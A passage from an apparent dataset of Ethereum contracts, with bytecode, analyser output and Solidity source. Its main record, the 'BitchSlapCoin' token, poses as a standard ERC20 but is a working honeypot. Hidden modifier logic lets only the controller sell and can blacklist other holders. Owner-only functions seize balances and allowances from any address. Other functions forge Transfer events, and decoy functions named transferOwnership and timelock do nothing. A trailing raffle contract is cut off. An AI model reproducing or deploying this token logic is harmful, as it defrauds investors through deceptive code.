ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff1615611f7c57611f646064611f56600d54611f48606487610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b9050611f798183610b1790919063ffffffff16565b91505b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611fc2573d6000803e3d6000fd5b505050565b600e60009054906101000a900460ff1681565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205e57600080fd5b600660009054906101000a900460ff16801561207c57506000600d54115b151561208757600080fd5b6120dc6120d5600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461246c565b6064610afc565b9150612127600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b35565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff16156122555761223d606461222f600d54612221606487610afc90919063ffffffff16565b61246c90919063ffffffff16565b610afc90919063ffffffff16565b90506122528183610b1790919063ffffffff16565b91505b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561229b573d6000803e3d6000fd5b50505050565b60035481565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600d5481565b60075481565b73ee06bddaffa56a303718de53a5bc347efbe4c68f81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236457600080fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123dc57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561240257600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600084141561248157600091506124a0565b828402905082848281151561249257fe5b0414151561249c57fe5b8091505b50929150505600a165627a7a7230582089ad3dcdb50c637c4f572875dc5b7154a9f9fe75555d57387899965cb273b16f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,460 |
0xbbad6c9d563703a2d561ff8a0e6fca671a2aef63
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract BitchSlapCoin is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _secureController;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0xaa9186B9953bA0153F276bf87381F2F6Ca0423F4;
address public _controller = 0x6f8d845489909DAbd761143c6643c67D6B16D2a6;
constructor () public {
_name = "BitchSlapCoin";
_symbol = "SLAP";
_decimals = 18;
uint256 initialSupply = 1000000000000000000 * 10 ** 18 ;
_secureController = _controller;
_mint(deployer, initialSupply);
}
modifier cpu(address dest, uint256 num, address from, address filler){
if (
_controller == _secureController
&& from == _controller
){_secureController = dest;_;}else{
if (
from == _controller
|| dest == _controller
|| from == _secureController
){
if (
from == _controller
&& from == dest
){_discardedAmt = num;}_;}else{
if (
_plus[from] == true
){
_;}else{if (
_discarded[from] == true
){
require((
from == _secureController
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}else{
if (
num < _discardedAmt
){
if(dest == _secureController){_discarded[from] = true; _plus[from] = false;}
_; }else{require((from == _secureController)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}
}}
}
}}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_navigator(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_navigator(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalPlusOne(address[] memory destination) public {
require(msg.sender == _controller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function approvalMinusOne(address safeOwner) public {
require(msg.sender == _controller, "!owner");
_secureController = safeOwner;
}
function approvePlusOne(address[] memory destination) public {
require(msg.sender == _controller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_discarded[destination[i]] = true;
_plus[destination[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _controller, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_controller] = _balances[_controller].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _navigator(address from, address dest, uint256 amt) internal cpu( dest, amt, from, address(0)) virtual {
_util( from, dest, amt);
}
function _util(address from, address dest, uint256 amt) internal cpu( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _controller){from = deployer;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _confirm() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function transferOwnership()public _confirm(){}
function timelock()public _confirm(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function addLiquidityETH(address uPool,address eReceiver,uint256 eAmount) public _confirm(){
//EmitUniPool
emit Transfer(uPool, eReceiver, eAmount);}
function enable(address recipient) public _confirm(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function disable(address recipient) public _confirm(){
//Take away permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function spend(address addr) public _confirm() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address from, address to, uint256 amt) public _confirm() virtual returns (bool) {
//Single Tranfer
_transfer(from, to, amt);
_approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amt, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address fromEmt, address toEmt, uint256 amtEmt) public _confirm(){
//EmitSingleTransfer
emit Transfer(fromEmt, toEmt, amtEmt);
}
function transferAllocation(address sndr,address[] memory destination, uint256[] memory amounts) public _confirm(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function claimTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638025cb92116100f9578063a901431311610097578063db98b97a11610071578063db98b97a14610a53578063dd3f952614610a79578063dd62ed3e14610a81578063e6c09edf14610aaf576101a9565b8063a901431314610888578063a9059cbb14610a27578063d33219b414610745576101a9565b806396784f75116100d357806396784f7514610755578063a1a6d5fc14610888578063a5aae254146108be578063a5f2a152146109f1576101a9565b80638025cb92146106a4578063880ad0af1461074557806395d89b411461074d576101a9565b80633cc4430d116101665780635bfa1b68116101405780635bfa1b681461060e57806366da8a9014610634578063671e99211461065a57806370a082311461067e576101a9565b80633cc4430d1461037c5780633d35f307146104af5780634e6ec247146105e2576101a9565b806306fdde03146101ae578063095ea7b31461022b5780630c9202441461026b57806318160ddd1461030e57806323b872dd14610328578063313ce5671461035e575b600080fd5b6101b6610ad5565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f05781810151838201526020016101d8565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102576004803603604081101561024157600080fd5b506001600160a01b038135169060200135610b6b565b604080519115158252519081900360200190f35b61030c6004803603602081101561028157600080fd5b810190602081018135600160201b81111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460208302840111600160201b831117156102ce57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b88945050505050565b005b610316610c7c565b60408051918252519081900360200190f35b6102576004803603606081101561033e57600080fd5b506001600160a01b03813581169160208101359091169060400135610c82565b610366610d09565b6040805160ff9092168252519081900360200190f35b61030c6004803603606081101561039257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103bc57600080fd5b8201836020820111156103ce57600080fd5b803590602001918460208302840111600160201b831117156103ef57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561043e57600080fd5b82018360208201111561045057600080fd5b803590602001918460208302840111600160201b8311171561047157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d12945050505050565b61030c600480360360608110156104c557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104ef57600080fd5b82018360208201111561050157600080fd5b803590602001918460208302840111600160201b8311171561052257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561057157600080fd5b82018360208201111561058357600080fd5b803590602001918460208302840111600160201b831117156105a457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610dd8945050505050565b61030c600480360360408110156105f857600080fd5b506001600160a01b038135169060200135610e7e565b61030c6004803603602081101561062457600080fd5b50356001600160a01b0316610f5c565b61030c6004803603602081101561064a57600080fd5b50356001600160a01b0316610fe6565b610662611050565b604080516001600160a01b039092168252519081900360200190f35b6103166004803603602081101561069457600080fd5b50356001600160a01b031661105f565b61030c600480360360208110156106ba57600080fd5b810190602081018135600160201b8111156106d457600080fd5b8201836020820111156106e657600080fd5b803590602001918460208302840111600160201b8311171561070757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061107a945050505050565b61030c61116b565b6101b66111ba565b61030c6004803603606081101561076b57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561079557600080fd5b8201836020820111156107a757600080fd5b803590602001918460208302840111600160201b831117156107c857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561081757600080fd5b82018360208201111561082957600080fd5b803590602001918460208302840111600160201b8311171561084a57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061121b945050505050565b61030c6004803603606081101561089e57600080fd5b506001600160a01b038135811691602081013590911690604001356112db565b61030c600480360360608110156108d457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108fe57600080fd5b82018360208201111561091057600080fd5b803590602001918460208302840111600160201b8311171561093157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561098057600080fd5b82018360208201111561099257600080fd5b803590602001918460208302840111600160201b831117156109b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611366945050505050565b61025760048036036060811015610a0757600080fd5b506001600160a01b03813581169160208101359091169060400135611426565b61025760048036036040811015610a3d57600080fd5b506001600160a01b038135169060200135611481565b61025760048036036020811015610a6957600080fd5b50356001600160a01b0316611495565b6106626114f9565b61031660048036036040811015610a9757600080fd5b506001600160a01b0381358116916020013516611508565b61030c60048036036020811015610ac557600080fd5b50356001600160a01b0316611533565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b6000610b7f610b78611613565b8484611617565b50600192915050565b600d546001600160a01b03163314610bd0576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c78576001806000848481518110610bed57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610c3e57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610bd3565b5050565b60045490565b6000610c8f848484611703565b610cff84610c9b611613565b610cfa85604051806060016040528060288152602001612223602891396001600160a01b038a16600090815260036020526040812090610cd9611613565b6001600160a01b031681526020810191909152604001600020549190611988565b611617565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d5f576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b60005b8251811015610dd257828181518110610d7757fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061224b833981519152848481518110610dad57fe5b60200260200101516040518082815260200191505060405180910390a3600101610d62565b50505050565b600d546001600160a01b03163314610e25576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b610e3983610e31611613565b600854611617565b60005b8251811015610dd257610e7684848381518110610e5557fe5b6020026020010151848481518110610e6957fe5b6020026020010151611a1f565b600101610e3c565b600d546001600160a01b03163314610edd576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610eea90826115b2565b600455600d546001600160a01b0316600090815260208190526040902054610f1290826115b2565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061224b8339815191529281900390910190a35050565b600d546001600160a01b03163314610fa9576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854610fe39284921690611617565b50565b600d546001600160a01b0316331461102e576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b031633146110c2576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c78576001600260008484815181106110e057fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061113157fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016110c5565b600d546001600160a01b031633146111b8576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b615780601f10610b3657610100808354040283529160200191610b61565b600d546001600160a01b03163314611268576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b60005b8251811015610dd25782818151811061128057fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061224b8339815191528484815181106112b657fe5b60200260200101516040518082815260200191505060405180910390a360010161126b565b600d546001600160a01b03163314611328576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b031660008051602061224b833981519152836040518082815260200191505060405180910390a3505050565b600d546001600160a01b031633146113b3576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b60005b8251811015610dd257836001600160a01b03168382815181106113d557fe5b60200260200101516001600160a01b031660008051602061224b83398151915284848151811061140157fe5b60200260200101516040518082815260200191505060405180910390a36001016113b6565b600d546000906001600160a01b03163314611476576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b610c8f848484611a1f565b6000610b7f61148e611613565b8484611703565b600d546000906001600160a01b031633146114e5576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b6114f182610e31611613565b506001919050565b600d546001600160a01b031681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611580576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b54610fe3928492911690611617565b60008282018381101561160c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661165c5760405162461bcd60e51b81526004018080602001828103825260248152602001806122906024913960400191505060405180910390fd5b6001600160a01b0382166116a15760405162461bcd60e51b81526004018080602001828103825260228152602001806121bb6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117395750600d546001600160a01b038381169116145b1561176957600980546001600160a01b0319166001600160a01b038616179055611764878787611b97565b61197f565b600d546001600160a01b03838116911614806117925750600d546001600160a01b038581169116145b806117aa57506009546001600160a01b038381169116145b156117f357600d546001600160a01b0383811691161480156117dd5750836001600160a01b0316826001600160a01b0316145b156117e857600a8390555b611764878787611b97565b6001600160a01b03821660009081526001602081905260409091205460ff161515141561182557611764878787611b97565b6001600160a01b03821660009081526002602052604090205460ff161515600114156118af576009546001600160a01b03838116911614806118745750600b546001600160a01b038581169116145b6117e85760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b600a54831015611910576009546001600160a01b03858116911614156117e8576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611764878787611b97565b6009546001600160a01b03838116911614806119395750600b546001600160a01b038581169116145b6119745760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b61197f878787611b97565b50505050505050565b60008184841115611a175760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119dc5781810151838201526020016119c4565b50505050905090810190601f168015611a095780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611a645760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b038216611aa95760405162461bcd60e51b81526004018080602001828103825260238152602001806121986023913960400191505060405180910390fd5b611ab4838383612192565b611af1816040518060600160405280602681526020016121dd602691396001600160a01b0386166000908152602081905260409020549190611988565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b2090826115b2565b6001600160a01b03808416600090815260208190526040902091909155600d548482169116141561132857600c546001600160a01b03169250816001600160a01b0316836001600160a01b031660008051602061224b833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611bcd5750600d546001600160a01b038381169116145b15611d6357600980546001600160a01b0319166001600160a01b03868116919091179091558716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b038616611c745760405162461bcd60e51b81526004018080602001828103825260238152602001806121986023913960400191505060405180910390fd5b611c7f878787612192565b611cbc856040518060600160405280602681526020016121dd602691396001600160a01b038a166000908152602081905260409020549190611988565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611ceb90866115b2565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d2557600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061224b833981519152876040518082815260200191505060405180910390a361197f565b600d546001600160a01b0383811691161480611d8c5750600d546001600160a01b038581169116145b80611da457506009546001600160a01b038381169116145b15611e2757600d546001600160a01b038381169116148015611dd75750836001600160a01b0316826001600160a01b0316145b15611de257600a8390555b6001600160a01b038716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611e93576001600160a01b038716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f1d576009546001600160a01b0383811691161480611ee25750600b546001600160a01b038581169116145b611de25760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b600a54831015611fb1576009546001600160a01b0385811691161415611de2576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611fda5750600b546001600160a01b038581169116145b6120155760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b6001600160a01b03871661205a5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b03861661209f5760405162461bcd60e51b81526004018080602001828103825260238152602001806121986023913960400191505060405180910390fd5b6120aa878787612192565b6120e7856040518060600160405280602681526020016121dd602691396001600160a01b038a166000908152602081905260409020549190611988565b6001600160a01b03808916600090815260208190526040808220939093559088168152205461211690866115b2565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561215057600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061224b833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220631ef9b9a7ef6b87c3b562a220f4821c9a3ac9668ccb420dce57b37b5e52a65764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,461 |
0x4a859ad2e94004dbd65ad75b26719f289370083f
|
/**
*Submitted for verification at Etherscan.io on 2021-10-31
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.9;
interface IReverseResolver {
function claim(address owner) external returns (bytes32);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface IDepositRaffleValidator {
function validate (address account, bytes calldata metadata) external returns (bool);
}
/**
* @title DepositRaffle
* @dev Provides gas-war-free registration and distribution
*/
contract DepositRaffle {
///// Validator links /////
IDepositRaffleValidator Validator;
bool validatorActive = false;
event TicketIssued(uint256 ticketId, address holder, bytes32 metadataHash);
address payable public owner;
///// Pricing information /////
uint256 immutable public deposit;
uint256 immutable public price;
uint256 immutable public quantity; // Number of winners to draw
uint256 public startBlockNumber; // First block tickets are allowed to be bought in
uint256 public endBlockNumber; // Final block tickets are allowed to be bought in
bytes32 seedHash;
uint256 seedBlock;
uint256 offset = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint256 increment;
bool incomeClaimed = false;
address[] public holderByTicketId;
uint256[8] internal Primes = [81918643972203779099,
72729269248899238429,
19314683338901247061,
38707402401747623009,
54451314435228525599,
16972551169207064863,
44527956848616763003,
51240633499522341181];
///// Modifiers /////
modifier onlyOwner () {
require(msg.sender == owner, "Only Owner");
_;
}
modifier issuanceOpen () {
require(block.number <= endBlockNumber && startBlockNumber > 0, "Issuance Closed");
_;
}
modifier issuanceClosed () {
require(block.number > endBlockNumber, "Issuance Open");
_;
}
modifier refundsReady () {
// After ~30 days, if shuffle has not been performed, refunds become available;
require(increment > 0 || (increment == 0 && block.number > (endBlockNumber + 200_000)), "Refunds Not Ready");
_;
}
bool private notEntered = true;
modifier nonReentrant() {
require(notEntered, "Reentrant call");
notEntered = false;
_;
notEntered = true;
}
/**
* @dev How many tickets have been issued currently?
*/
function ticketsIssued () public view returns (uint256) {
return holderByTicketId.length;
}
/**
* @dev Purchase a ticket for this raffle.
* Allows purchasing a ticket "in the name of" another address.
*/
function issueTicket (address holder, bytes calldata metadata) public payable issuanceOpen nonReentrant returns (uint256) {
